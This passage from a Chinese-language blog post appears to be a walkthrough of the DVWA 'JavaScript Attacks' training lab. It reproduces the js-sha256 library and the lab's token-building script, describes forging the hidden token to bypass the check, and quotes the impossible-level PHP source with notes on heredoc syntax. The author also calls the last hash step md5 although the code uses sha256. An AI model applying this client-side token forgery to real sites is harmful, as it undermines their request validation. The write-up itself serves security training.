        var root = WINDOW ? window : {};
        if (root.JS_SHA256_NO_WINDOW) {
            WINDOW = false
        }
        var WEB_WORKER = !WINDOW && typeof self === 'object';
        var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
        if (NODE_JS) {
            root = global
        } else if (WEB_WORKER) {
            root = self
        }
        var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;
        var AMD = typeof define === 'function' && define.amd;
        var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
        var HEX_CHARS = '0123456789abcdef'.split('');
        var EXTRA = [-2147483648, 8388608, 32768, 128];
        var SHIFT = [24, 16, 8, 0];
        var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];
        var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];
        var blocks = [];
        if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {
            Array.isArray = function(obj) {
                return Object.prototype.toString.call(obj) === '[object Array]'
            }
        }
        if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
            ArrayBuffer.isView = function(obj) {
                return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer
            }
        }
        var createOutputMethod = function(outputType, is224) {
                return function(message) {
                    return new Sha256(is224, true).update(message)[outputType]()
                }
            };
        var createMethod = function(is224) {
                var method = createOutputMethod('hex', is224);
                if (NODE_JS) {
                    method = nodeWrap(method, is224)
                }
                method.create = function() {
                    return new Sha256(is224)
                };
                method.update = function(message) {
                    return method.create().update(message)
                };
                for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                    var type = OUTPUT_TYPES[i];
                    method[type] = createOutputMethod(type, is224)
                }
                return method
            };
        var nodeWrap = function(method, is224) {
                var crypto = eval("require('crypto')");
                var Buffer = eval("require('buffer').Buffer");
                var algorithm = is224 ? 'sha224' : 'sha256';
                var nodeMethod = function(message) {
                        if (typeof message === 'string') {
                            return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')
                        } else {
                            if (message === null || message === undefined) {
                                throw new Error(ERROR)
                            } else if (message.constructor === ArrayBuffer) {
                                message = new Uint8Array(message)
                            }
                        }
                        if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {
                            return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')
                        } else {
                            return method(message)
                        }
                    };
                return nodeMethod
            };
        var createHmacOutputMethod = function(outputType, is224) {
                return function(key, message) {
                    return new HmacSha256(key, is224, true).update(message)[outputType]()
                }
            };
        var createHmacMethod = function(is224) {
                var method = createHmacOutputMethod('hex', is224);
                method.create = function(key) {
                    return new HmacSha256(key, is224)
                };
                method.update = function(key, message) {
                    return method.create(key).update(message)
                };
                for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                    var type = OUTPUT_TYPES[i];
                    method[type] = createHmacOutputMethod(type, is224)
                }
                return method
            };
    
        function Sha256(is224, sharedMemory) {
            if (sharedMemory) {
                blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;
                this.blocks = blocks
            } else {
                this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
            }
            if (is224) {
                this.h0 = 0xc1059ed8;
                this.h1 = 0x367cd507;
                this.h2 = 0x3070dd17;
                this.h3 = 0xf70e5939;
                this.h4 = 0xffc00b31;
                this.h5 = 0x68581511;
                this.h6 = 0x64f98fa7;
                this.h7 = 0xbefa4fa4
            } else {
                this.h0 = 0x6a09e667;
                this.h1 = 0xbb67ae85;
                this.h2 = 0x3c6ef372;
                this.h3 = 0xa54ff53a;
                this.h4 = 0x510e527f;
                this.h5 = 0x9b05688c;
                this.h6 = 0x1f83d9ab;
                this.h7 = 0x5be0cd19
            }
            this.block = this.start = this.bytes = this.hBytes = 0;
            this.finalized = this.hashed = false;
            this.first = true;
            this.is224 = is224
        }
        Sha256.prototype.update = function(message) {
            if (this.finalized) {
                return
            }
            var notString, type = typeof message;
            if (type !== 'string') {
                if (type === 'object') {
                    if (message === null) {
                        throw new Error(ERROR)
                    } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
                        message = new Uint8Array(message)
                    } else if (!Array.isArray(message)) {
                        if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
                            throw new Error(ERROR)
                        }
                    }
                } else {
                    throw new Error(ERROR)
                }
                notString = true
            }
            var code, index = 0,
                i, length = message.length,
                blocks = this.blocks;
            while (index < length) {
                if (this.hashed) {
                    this.hashed = false;
                    blocks[0] = this.block;
                    blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
                }
                if (notString) {
                    for (i = this.start; index < length && i < 64; ++index) {
                        blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]
                    }
                } else {
                    for (i = this.start; index < length && i < 64; ++index) {
                        code = message.charCodeAt(index);
                        if (code < 0x80) {
                            blocks[i >> 2] |= code << SHIFT[i++ & 3]
                        } else if (code < 0x800) {
                            blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                        } else if (code < 0xd800 || code >= 0xe000) {
                            blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                        } else {
                            code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
                            blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                        }
                    }
                }
                this.lastByteIndex = i;
                this.bytes += i - this.start;
                if (i >= 64) {
                    this.block = blocks[16];
                    this.start = i - 64;
                    this.hash();
                    this.hashed = true
                } else {
                    this.start = i
                }
            }
            if (this.bytes > 4294967295) {
                this.hBytes += this.bytes / 4294967296 << 0;
                this.bytes = this.bytes % 4294967296
            }
            return this
        };
        Sha256.prototype.finalize = function() {
            if (this.finalized) {
                return
            }
            this.finalized = true;
            var blocks = this.blocks,
                i = this.lastByteIndex;
            blocks[16] = this.block;
            blocks[i >> 2] |= EXTRA[i & 3];
            this.block = blocks[16];
            if (i >= 56) {
                if (!this.hashed) {
                    this.hash()
                }
                blocks[0] = this.block;
                blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
            }
            blocks[14] = this.hBytes << 3 | this.bytes >>> 29;
            blocks[15] = this.bytes << 3;
            this.hash()
        };
        Sha256.prototype.hash = function() {
            var a = this.h0,
                b = this.h1,
                c = this.h2,
                d = this.h3,
                e = this.h4,
                f = this.h5,
                g = this.h6,
                h = this.h7,
                blocks = this.blocks,
                j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;
            for (j = 16; j < 64; ++j) {
                t1 = blocks[j - 15];
                s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);
                t1 = blocks[j - 2];
                s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);
                blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0
            }
            bc = b & c;
            for (j = 0; j < 64; j += 4) {
                if (this.first) {
                    if (this.is224) {
                        ab = 300032;
                        t1 = blocks[0] - 1413257819;
                        h = t1 - 150054599 << 0;
                        d = t1 + 24177077 << 0
                    } else {
                        ab = 704751109;
                        t1 = blocks[0] - 210244248;
                        h = t1 - 1521486534 << 0;
                        d = t1 + 143694565 << 0
                    }
                    this.first = false
                } else {
                    s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));
                    s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));
                    ab = a & b;
                    maj = ab ^ (a & c) ^ bc;
                    ch = (e & f) ^ (~e & g);
                    t1 = h + s1 + ch + K[j] + blocks[j];
                    t2 = s0 + maj;
                    h = d + t1 << 0;
                    d = t1 + t2 << 0
                }
                s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));
                s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));
                da = d & a;
                maj = da ^ (d & b) ^ ab;
                ch = (h & e) ^ (~h & f);
                t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];
                t2 = s0 + maj;
                g = c + t1 << 0;
                c = t1 + t2 << 0;
                s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));
                s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));
                cd = c & d;
                maj = cd ^ (c & a) ^ da;
                ch = (g & h) ^ (~g & e);
                t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];
                t2 = s0 + maj;
                f = b + t1 << 0;
                b = t1 + t2 << 0;
                s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));
                s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));
                bc = b & c;
                maj = bc ^ (b & d) ^ cd;
                ch = (f & g) ^ (~f & h);
                t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];
                t2 = s0 + maj;
                e = a + t1 << 0;
                a = t1 + t2 << 0
            }
            this.h0 = this.h0 + a << 0;
            this.h1 = this.h1 + b << 0;
            this.h2 = this.h2 + c << 0;
            this.h3 = this.h3 + d << 0;
            this.h4 = this.h4 + e << 0;
            this.h5 = this.h5 + f << 0;
            this.h6 = this.h6 + g << 0;
            this.h7 = this.h7 + h << 0
        };
        Sha256.prototype.hex = function() {
            this.finalize();
            var h0 = this.h0,
                h1 = this.h1,
                h2 = this.h2,
                h3 = this.h3,
                h4 = this.h4,
                h5 = this.h5,
                h6 = this.h6,
                h7 = this.h7;
            var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];
            if (!this.is224) {
                hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]
            }
            return hex
        };
        Sha256.prototype.toString = Sha256.prototype.hex;
        Sha256.prototype.digest = function() {
            this.finalize();
            var h0 = this.h0,
                h1 = this.h1,
                h2 = this.h2,
                h3 = this.h3,
                h4 = this.h4,
                h5 = this.h5,
                h6 = this.h6,
                h7 = this.h7;
            var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];
            if (!this.is224) {
                arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)
            }
            return arr
        };
        Sha256.prototype.array = Sha256.prototype.digest;
        Sha256.prototype.arrayBuffer = function() {
            this.finalize();
            var buffer = new ArrayBuffer(this.is224 ? 28 : 32);
            var dataView = new DataView(buffer);
            dataView.setUint32(0, this.h0);
            dataView.setUint32(4, this.h1);
            dataView.setUint32(8, this.h2);
            dataView.setUint32(12, this.h3);
            dataView.setUint32(16, this.h4);
            dataView.setUint32(20, this.h5);
            dataView.setUint32(24, this.h6);
            if (!this.is224) {
                dataView.setUint32(28, this.h7)
            }
            return buffer
        };
    
        function HmacSha256(key, is224, sharedMemory) {
            var i, type = typeof key;
            if (type === 'string') {
                var bytes = [],
                    length = key.length,
                    index = 0,
                    code;
                for (i = 0; i < length; ++i) {
                    code = key.charCodeAt(i);
                    if (code < 0x80) {
                        bytes[index++] = code
                    } else if (code < 0x800) {
                        bytes[index++] = (0xc0 | (code >> 6));
                        bytes[index++] = (0x80 | (code & 0x3f))
                    } else if (code < 0xd800 || code >= 0xe000) {
                        bytes[index++] = (0xe0 | (code >> 12));
                        bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                        bytes[index++] = (0x80 | (code & 0x3f))
                    } else {
                        code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));
                        bytes[index++] = (0xf0 | (code >> 18));
                        bytes[index++] = (0x80 | ((code >> 12) & 0x3f));
                        bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
                        bytes[index++] = (0x80 | (code & 0x3f))
                    }
                }
                key = bytes
            } else {
                if (type === 'object') {
                    if (key === null) {
                        throw new Error(ERROR)
                    } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {
                        key = new Uint8Array(key)
                    } else if (!Array.isArray(key)) {
                        if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {
                            throw new Error(ERROR)
                        }
                    }
                } else {
                    throw new Error(ERROR)
                }
            }
            if (key.length > 64) {
                key = (new Sha256(is224, true)).update(key).array()
            }
            var oKeyPad = [],
                iKeyPad = [];
            for (i = 0; i < 64; ++i) {
                var b = key[i] || 0;
                oKeyPad[i] = 0x5c ^ b;
                iKeyPad[i] = 0x36 ^ b
            }
            Sha256.call(this, is224, sharedMemory);
            this.update(iKeyPad);
            this.oKeyPad = oKeyPad;
            this.inner = true;
            this.sharedMemory = sharedMemory
        }
        HmacSha256.prototype = new Sha256();
        HmacSha256.prototype.finalize = function() {
            Sha256.prototype.finalize.call(this);
            if (this.inner) {
                this.inner = false;
                var innerHash = this.array();
                Sha256.call(this, this.is224, this.sharedMemory);
                this.update(this.oKeyPad);
                this.update(innerHash);
                Sha256.prototype.finalize.call(this)
            }
        };
        var exports = createMethod();
        exports.sha256 = exports;
        exports.sha224 = createMethod(true);
        exports.sha256.hmac = createHmacMethod();
        exports.sha224.hmac = createHmacMethod(true);
        if (COMMON_JS) {
            module.exports = exports
        } else {
            root.sha256 = exports.sha256;
            root.sha224 = exports.sha224;
            if (AMD) {
                define(function() {
                    return exports
                })
            }
        }
    })();
    
    function do_something(e) {
        for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
        return t
    }
    function token_part_3(t, y = "ZZ") {
        document.getElementById("token").value = sha256(document.getElementById("token").value + y)
    }
    function token_part_2(e = "YY") {
        document.getElementById("token").value = sha256(e + document.getElementById("token").value)
    }
    function token_part_1(a, b) {
        document.getElementById("token").value = do_something(document.getElementById("phrase").value)
    }
    document.getElementById("phrase").value = "";
    setTimeout(function() {
        token_part_2("XX")
    }, 300);
    document.getElementById("send").addEventListener("click", token_part_3);
    token_part_1("ABCD", 44);

    仔细看index的代码
    首先hash("sha256", "XX" . strrev("success")),再拼接”ZZ”后再次md5
    这里没仔细看,卡我半天
    大草
    看js中如何构造的token
    首先其通过document.getElementById("phrase").value = ""; 将phrase的值清空
    执行token_part_1("ABCD", 44);就仅仅将phrase的值进行反转
    每300秒,token将由token_part_2("XX")进行构造,就是sha256 XX+传入的token的值
    点击send, 调用token_part_3,不加括号表指针。

    可以看出和后台的验证不同,构造符合的token

    09650-c896lsp81o.png
    25862-hehig83xzoh.png
    成功绕过

    impossible

    关键代码

    if ( $_COOKIE[ 'security' ] == "impossible" ) {
    $page[ 'body' ] = <<<EOF
    <div class="body_padded">
        <h1>Vulnerability: JavaScript Attacks</h1>
    
        <div class="vulnerable_code_area">
        <p>
            You can never trust anything that comes from the user or prevent them from messing with it and so there is no impossible level.
        </p>
    EOF;
    } else {
    $page[ 'body' ] = <<<EOF
    <div class="body_padded">
        <h1>Vulnerability: JavaScript Attacks</h1>
    
        <div class="vulnerable_code_area">
        <p>
            Submit the word "success" to win.
        </p>
    
        $message
    
        <form name="low_js" method="post">
            <input type="hidden" name="token" value="" id="token" />
            <label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase" />
            <input type="submit" id="send" name="send" value="Submit" />
        </form>
    EOF;
    }
    
    require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/javascript/source/{$vulnerabilityFile}";
    
    $page[ 'body' ] .= <<<EOF
        </div>
    EOF;
    
    $page[ 'body' ] .= "
        <h2>More Information</h2>
        <ul>
            <li>" . dvwaExternalLinkUrlGet( 'https://www.w3schools.com/js/' ) . "</li>
            <li>" . dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=cs7EQdWO5o0&index=17&list=WL' ) . "</li>
            <li>" . dvwaExternalLinkUrlGet( 'https://ponyfoo.com/articles/es6-proxies-in-depth' ) . "</li>
        </ul>
        <p><i>Module developed by <a href='https://twitter.com/digininja'>Digininja</a>.</i></p>
    </div>\n";
    
    dvwaHtmlEcho( $page );
    
    

    php界定符 EOF的解释
    PHP是一个Web编程语言,在编程过程中难免会遇到用echo来输出大段的html和javascript脚本的情况,如果用传统的输出方法 ——按字符串输出的话,肯定要有大量的转义符来对字符串中的引号等特殊字符进行转义,以免出现语法错误。如果是一两处还可以容忍,但是要是一个完整的 html文本或者是一个200行的js我想是谁都会崩溃的。这就是PHP为什么要引入一个定界符的原因——至少一大部分原因是这样的。

    1.PHP定界符的作用就是按照原样,包括换行格式什么的,输出在其内部的东西;
    2.在PHP定界符中的任何特殊字符都不需要转义;
    3.PHP定界符中的PHP变量会被正常的用其值来替换。
    PHP中的定界符格式是这样的:
    <<<Eof
    ……
    Eof;
    _
    如:<?php
    $js = <<<eof
    <script type="text/javascript">
    //top:作用使得整个frameset都跳转
    window.top.location.href = "$group_url/Manager/login";
    </script>
    eof;
    echo $js;


    这波通过看代码发现,直接不给输入
    81216-u9fjyaf7v6r.png
    never trust anything that comes form the user or prevent them from messing with it
    那确实秀

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/340/
    最后修改时间:2022-03-24 16:57:38
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论
    与本文无关评论请发留言板。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    暂无评论